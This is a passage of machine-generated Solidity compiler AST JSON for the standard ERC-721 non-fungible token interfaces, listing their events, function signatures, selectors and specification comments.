none."},"eventSelector":"8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","name":"Approval","nameLocation":"1053:8:18","parameters":{"id":31992,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31987,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1078:6:18","nodeType":"VariableDeclaration","scope":31993,"src":"1062:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31986,"name":"address","nodeType":"ElementaryTypeName","src":"1062:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31989,"indexed":true,"mutability":"mutable","name":"_approved","nameLocation":"1102:9:18","nodeType":"VariableDeclaration","scope":31993,"src":"1086:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31988,"name":"address","nodeType":"ElementaryTypeName","src":"1086:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31991,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"1129:8:18","nodeType":"VariableDeclaration","scope":31993,"src":"1113:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31990,"name":"uint256","nodeType":"ElementaryTypeName","src":"1113:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1061:77:18"}},{"id":32002,"nodeType":"EventDefinition","src":"1278:88:18","nodes":[],"anonymous":false,"documentation":{"id":31994,"nodeType":"StructuredDocumentation","src":"1145:128:18","text":"@dev This emits when an operator is enabled or disabled for an owner.\n The operator can manage all NFTs of the owner."},"eventSelector":"17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31","name":"ApprovalForAll","nameLocation":"1284:14:18","parameters":{"id":32001,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31996,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1315:6:18","nodeType":"VariableDeclaration","scope":32002,"src":"1299:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31995,"name":"address","nodeType":"ElementaryTypeName","src":"1299:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31998,"indexed":true,"mutability":"mutable","name":"_operator","nameLocation":"1339:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1323:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31997,"name":"address","nodeType":"ElementaryTypeName","src":"1323:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32000,"indexed":false,"mutability":"mutable","name":"_approved","nameLocation":"1355:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1350:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31999,"name":"bool","nodeType":"ElementaryTypeName","src":"1350:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1298:67:18"}},{"id":32010,"nodeType":"FunctionDefinition","src":"1695:67:18","nodes":[],"documentation":{"id":32003,"nodeType":"StructuredDocumentation","src":"1372:318:18","text":"@notice Count all NFTs assigned to an owner\n @dev NFTs assigned to the zero address are considered invalid, and this\n function throws for queries about the zero address.\n @param _owner An address for whom to query the balance\n @return The number of NFTs owned by `_owner`, possibly zero"},"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1704:9:18","parameters":{"id":32006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32005,"mutability":"mutable","name":"_owner","nameLocation":"1722:6:18","nodeType":"VariableDeclaration","scope":32010,"src":"1714:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32004,"name":"address","nodeType":"ElementaryTypeName","src":"1714:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1713:16:18"},"returnParameters":{"id":32009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32008,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32010,"src":"1753:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32007,"name":"uint256","nodeType":"ElementaryTypeName","src":"1753:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1752:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32018,"nodeType":"FunctionDefinition","src":"2019:67:18","nodes":[],"documentation":{"id":32011,"nodeType":"StructuredDocumentation","src":"1768:246:18","text":"@notice Find the owner of an NFT\n @dev NFTs assigned to zero address are considered invalid, and queries\n about them do throw.\n @param _tokenId The identifier for an NFT\n @return The address of the owner of the NFT"},"functionSelector":"6352211e","implemented":false,"kind":"function","modifiers":[],"name":"ownerOf","nameLocation":"2028:7:18","parameters":{"id":32014,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32013,"mutability":"mutable","name":"_tokenId","nameLocation":"2044:8:18","nodeType":"VariableDeclaration","scope":32018,"src":"2036:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32012,"name":"uint256","nodeType":"ElementaryTypeName","src":"2036:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2035:18:18"},"returnParameters":{"id":32017,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32016,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32018,"src":"2077:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32015,"name":"address","nodeType":"ElementaryTypeName","src":"2077:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2076:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32030,"nodeType":"FunctionDefinition","src":"2931:110:18","nodes":[],"documentation":{"id":32019,"nodeType":"StructuredDocumentation","src":"2092:834:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT. When transfer is complete, this function\n checks if `_to` is a smart contract (code size > 0). If so, it calls\n `onERC721Received` on `_to` and throws if the return value is not\n `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer\n @param data Additional data with no specified format, sent in call to `_to`"},"functionSelector":"b88d4fde","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"2940:16:18","parameters":{"id":32028,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32021,"mutability":"mutable","name":"_from","nameLocation":"2965:5:18","nodeType":"VariableDeclaration","scope":32030,"src":"2957:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32020,"name":"address","nodeType":"ElementaryTypeName","src":"2957:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32023,"mutability":"mutable","name":"_to","nameLocation":"2980:3:18","nodeType":"VariableDeclaration","scope":32030,"src":"2972:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32022,"name":"address","nodeType":"ElementaryTypeName","src":"2972:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32025,"mutability":"mutable","name":"_tokenId","nameLocation":"2993:8:18","nodeType":"VariableDeclaration","scope":32030,"src":"2985:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32024,"name":"uint256","nodeType":"ElementaryTypeName","src":"2985:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32027,"mutability":"mutable","name":"data","nameLocation":"3018:4:18","nodeType":"VariableDeclaration","scope":32030,"src":"3003:19:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32026,"name":"bytes","nodeType":"ElementaryTypeName","src":"3003:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2956:67:18"},"returnParameters":{"id":32029,"nodeType":"ParameterList","parameters":[],"src":"3040:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32040,"nodeType":"FunctionDefinition","src":"3399:89:18","nodes":[],"documentation":{"id":32031,"nodeType":"StructuredDocumentation","src":"3047:347:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev This works identically to the other function with an extra data parameter,\n except this function just sets data to \"\".\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"42842e0e","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"3408:16:18","parameters":{"id":32038,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32033,"mutability":"mutable","name":"_from","nameLocation":"3433:5:18","nodeType":"VariableDeclaration","scope":32040,"src":"3425:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32032,"name":"address","nodeType":"ElementaryTypeName","src":"3425:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32035,"mutability":"mutable","name":"_to","nameLocation":"3448:3:18","nodeType":"VariableDeclaration","scope":32040,"src":"3440:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32034,"name":"address","nodeType":"ElementaryTypeName","src":"3440:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32037,"mutability":"mutable","name":"_tokenId","nameLocation":"3461:8:18","nodeType":"VariableDeclaration","scope":32040,"src":"3453:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32036,"name":"uint256","nodeType":"ElementaryTypeName","src":"3453:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3424:46:18"},"returnParameters":{"id":32039,"nodeType":"ParameterList","parameters":[],"src":"3487:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32050,"nodeType":"FunctionDefinition","src":"4069:85:18","nodes":[],"documentation":{"id":32041,"nodeType":"StructuredDocumentation","src":"3494:570:18","text":"@notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE\n TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE\n THEY MAY BE PERMANENTLY LOST\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"23b872dd","implemented":false,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"4078:12:18","parameters":{"id":32048,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32043,"mutability":"mutable","name":"_from","nameLocation":"4099:5:18","nodeType":"VariableDeclaration","scope":32050,"src":"4091:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32042,"name":"address","nodeType":"ElementaryTypeName","src":"4091:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32045,"mutability":"mutable","name":"_to","nameLocation":"4114:3:18","nodeType":"VariableDeclaration","scope":32050,"src":"4106:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32044,"name":"address","nodeType":"ElementaryTypeName","src":"4106:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32047,"mutability":"mutable","name":"_tokenId","nameLocation":"4127:8:18","nodeType":"VariableDeclaration","scope":32050,"src":"4119:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32046,"name":"uint256","nodeType":"ElementaryTypeName","src":"4119:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4090:46:18"},"returnParameters":{"id":32049,"nodeType":"ParameterList","parameters":[],"src":"4153:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32058,"nodeType":"FunctionDefinition","src":"4514:71:18","nodes":[],"documentation":{"id":32051,"nodeType":"StructuredDocumentation","src":"4160:349:18","text":"@notice Change or reaffirm the approved address for an NFT\n @dev The zero address indicates there is no approved address.\n Throws unless `msg.sender` is the current NFT owner, or an authorized\n operator of the current owner.\n @param _approved The new approved NFT controller\n @param _tokenId The NFT to approve"},"functionSelector":"095ea7b3","implemented":false,"kind":"function","modifiers":[],"name":"approve","nameLocation":"4523:7:18","parameters":{"id":32056,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32053,"mutability":"mutable","name":"_approved","nameLocation":"4539:9:18","nodeType":"VariableDeclaration","scope":32058,"src":"4531:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32052,"name":"address","nodeType":"ElementaryTypeName","src":"4531:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32055,"mutability":"mutable","name":"_tokenId","nameLocation":"4558:8:18","nodeType":"VariableDeclaration","scope":32058,"src":"4550:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32054,"name":"uint256","nodeType":"ElementaryTypeName","src":"4550:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4530:37:18"},"returnParameters":{"id":32057,"nodeType":"ParameterList","parameters":[],"src":"4584:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32066,"nodeType":"FunctionDefinition","src":"4978:71:18","nodes":[],"documentation":{"id":32059,"nodeType":"StructuredDocumentation","src":"4591:382:18","text":"@notice Enable or disable approval for a third party (\"operator\") to manage\n all of `msg.sender`'s assets\n @dev Emits the ApprovalForAll event. The contract MUST allow\n multiple operators per owner.\n @param _operator Address to add to the set of authorized operators\n @param _approved True if the operator is approved, false to revoke approval"},"functionSelector":"a22cb465","implemented":false,"kind":"function","modifiers":[],"name":"setApprovalForAll","nameLocation":"4987:17:18","parameters":{"id":32064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32061,"mutability":"mutable","name":"_operator","nameLocation":"5013:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5005:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32060,"name":"address","nodeType":"ElementaryTypeName","src":"5005:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32063,"mutability":"mutable","name":"_approved","nameLocation":"5029:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5024:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32062,"name":"bool","nodeType":"ElementaryTypeName","src":"5024:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5004:35:18"},"returnParameters":{"id":32065,"nodeType":"ParameterList","parameters":[],"src":"5048:0:18"},"scope":32085,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":32074,"nodeType":"FunctionDefinition","src":"5320:71:18","nodes":[],"documentation":{"id":32067,"nodeType":"StructuredDocumentation","src":"5055:260:18","text":"@notice Get the approved address for a single NFT\n @dev Throws if `_tokenId` is not a valid NFT.\n @param _tokenId The NFT to find the approved address for\n @return The approved address for this NFT, or the zero address if there is none"},"functionSelector":"081812fc","implemented":false,"kind":"function","modifiers":[],"name":"getApproved","nameLocation":"5329:11:18","parameters":{"id":32070,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32069,"mutability":"mutable","name":"_tokenId","nameLocation":"5349:8:18","nodeType":"VariableDeclaration","scope":32074,"src":"5341:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32068,"name":"uint256","nodeType":"ElementaryTypeName","src":"5341:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5340:18:18"},"returnParameters":{"id":32073,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32072,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32074,"src":"5382:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32071,"name":"address","nodeType":"ElementaryTypeName","src":"5382:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5381:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32084,"nodeType":"FunctionDefinition","src":"5692:90:18","nodes":[],"documentation":{"id":32075,"nodeType":"StructuredDocumentation","src":"5397:290:18","text":"@notice Query if an address is an authorized operator for another address\n @param _owner The address that owns the NFTs\n @param _operator The address that acts on behalf of the owner\n @return True if `_operator` is an approved operator for `_owner`, false otherwise"},"functionSelector":"e985e9c5","implemented":false,"kind":"function","modifiers":[],"name":"isApprovedForAll","nameLocation":"5701:16:18","parameters":{"id":32080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32077,"mutability":"mutable","name":"_owner","nameLocation":"5726:6:18","nodeType":"VariableDeclaration","scope":32084,"src":"5718:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32076,"name":"address","nodeType":"ElementaryTypeName","src":"5718:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32079,"mutability":"mutable","name":"_operator","nameLocation":"5742:9:18","nodeType":"VariableDeclaration","scope":32084,"src":"5734:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32078,"name":"address","nodeType":"ElementaryTypeName","src":"5734:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5717:35:18"},"returnParameters":{"id":32083,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32082,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32084,"src":"5776:4:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32081,"name":"bool","nodeType":"ElementaryTypeName","src":"5776:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5775:6:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":31974,"name":"IERC165","nameLocations":["270:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":31873,"src":"270:7:18"},"id":31975,"nodeType":"InheritanceSpecifier","src":"270:7:18"}],"canonicalName":"IERC721","contractDependencies":[],"contractKind":"interface","documentation":{"id":31973,"nodeType":"StructuredDocumentation","src":"83:166:18","text":"@title ERC-721 Non-Fungible Token Standard\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 0x80ac58cd."},"fullyImplemented":false,"linearizedBaseContracts":[32085,31873],"name":"IERC721","nameLocation":"259:7:18","scope":32154,"usedErrors":[],"usedEvents":[31984,31993,32002]},{"id":32101,"nodeType":"ContractDefinition","src":"5858:942:18","nodes":[{"id":32100,"nodeType":"FunctionDefinition","src":"6656:142:18","nodes":[],"documentation":{"id":32087,"nodeType":"StructuredDocumentation","src":"5895:756:18","text":"@notice Handle the receipt of an NFT\n @dev The ERC721 smart contract calls this function on the recipient\n after a `transfer`. This function MAY throw to revert and reject the\n transfer. Return of other than the magic value MUST result in the\n transaction being reverted.\n Note: the contract address is always the message sender.\n @param _operator The address which called `safeTransferFrom` function\n @param _from The address which previously owned the token\n @param _tokenId The NFT identifier which is being transferred\n @param _data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`\n unless throwing"},"functionSelector":"150b7a02","implemented":false,"kind":"function","modifiers":[],"name":"onERC721Received","nameLocation":"6665:16:18","parameters":{"id":32096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32089,"mutability":"mutable","name":"_operator","nameLocation":"6690:9:18","nodeType":"VariableDeclaration","scope":32100,"src":"6682:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32088,"name":"address","nodeType":"ElementaryTypeName","src":"6682:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32091,"mutability":"mutable","name":"_from","nameLocation":"6709:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6701:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32090,"name":"address","nodeType":"ElementaryTypeName","src":"6701:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32093,"mutability":"mutable","name":"_tokenId","nameLocation":"6724:8:18","nodeType":"VariableDeclaration","scope":32100,"src":"6716:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32092,"name":"uint256","nodeType":"ElementaryTypeName","src":"6716:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32095,"mutability":"mutable","name":"_data","nameLocation":"6749:5:18","nodeType":"VariableDeclaration","scope":32100,"src":"6734:20:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32094,"name":"bytes","nodeType":"ElementaryTypeName","src":"6734:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"6681:74:18"},"returnParameters":{"id":32099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32098,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32100,"src":"6790:6:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":32097,"name":"bytes4","nodeType":"ElementaryTypeName","src":"6790:6:18","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"6789:8:18"},"scope":32101,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IERC721TokenReceiver","contractDependencies":[],"contractKind":"interface","documentation":{"id":32086,"nodeType":"StructuredDocumentation","src":"5786:72:18","text":"@dev Note: the ERC-165 identifier for this interface is 0x150b7a02."},"fullyImplemented":false,"linearizedBaseContracts":[32101],"name":"IERC721TokenReceiver","nameLocation":"5868:20:18","scope":32154,"usedErrors":[],"usedEvents":[]},{"id":32125,"nodeType":"ContractDefinition","src":"6997:659:18","nodes":[{"id":32110,"nodeType":"FunctionDefinition","src":"7117:60:18","nodes":[],"documentation":{"id":32105,"nodeType":"StructuredDocumentation","src":"7040:72:18","text":"@notice A descriptive name for a collection of NFTs in this contract"},"functionSelector":"06fdde03","implemented":false,"kind":"function","modifiers":[],"name":"name","nameLocation":"7126:4:18","parameters":{"id":32106,"nodeType":"ParameterList","parameters":[],"src":"7130:2:18"},"returnParameters":{"id":32109,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32108,"mutability":"mutable","name":"_name","nameLocation":"7170:5:18","nodeType":"VariableDeclaration","scope":32110,"src":"7156:19:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32107,"name":"string","nodeType":"ElementaryTypeName","src":"7156:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7155:21:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32116,"nodeType":"FunctionDefinition","src":"7245:64:18","nodes":[],"documentation":{"id":32111,"nodeType":"StructuredDocumentation","src":"7183:57:18","text":"@notice An abbreviated name for NFTs in this contract"},"functionSelector":"95d89b41","implemented":false,"kind":"function","modifiers":[],"name":"symbol","nameLocation":"7254:6:18","parameters":{"id":32112,"nodeType":"ParameterList","parameters":[],"src":"7260:2:18"},"returnParameters":{"id":32115,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32114,"mutability":"mutable","name":"_symbol","nameLocation":"7300:7:18","nodeType":"VariableDeclaration","scope":32116,"src":"7286:21:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32113,"name":"string","nodeType":"ElementaryTypeName","src":"7286:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7285:23:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32124,"nodeType":"FunctionDefinition","src":"7580:74:18","nodes":[],"documentation":{"id":32117,"nodeType":"StructuredDocumentation","src":"7315:260:18","text":"@notice A distinct Uniform Resource Identifier (URI) for a given asset.\n @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC\n 3986. The URI may point to a JSON file that conforms to the \"ERC721\n Metadata JSON Schema\"."},"functionSelector":"c87b56dd","implemented":false,"kind":"function","modifiers":[],"name":"tokenURI","nameLocation":"7589:8:18","parameters":{"id":32120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32119,"mutability":"mutable","name":"_tokenId","nameLocation":"7606:8:18","nodeType":"VariableDeclaration","scope":32124,"src":"7598:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32118,"name":"uint256","nodeType":"ElementaryTypeName","src":"7598:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7597:18:18"},"returnParameters":{"id":32123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32122,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32124,"src":"7639:13:18","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":32121,"name":"string","nodeType":"ElementaryTypeName","src":"7639:6:18","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7638:15:18"},"scope":32125,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[{"baseName":{"id":32103,"name":"IERC721","nameLocations":["7026:7:18"],"nodeType":"IdentifierPath","referencedDeclaration":32085,"src":"7026:7:18"},"id":32104,"nodeType":"InheritanceSpecifier","src":"7026:7:18"}],"canonicalName":"IERC721Metadata","contractDependencies":[],"contractKind":"interface","documentation":{"id":32102,"nodeType":"StructuredDocumentation","src":"6802:195:18","text":"@title ERC-721 Non-Fungible Token Standard, optional metadata extension\n @dev See https://eips.ethereum.org/EIPS/eip-721\n Note: the ERC-165 identifier for this interface is 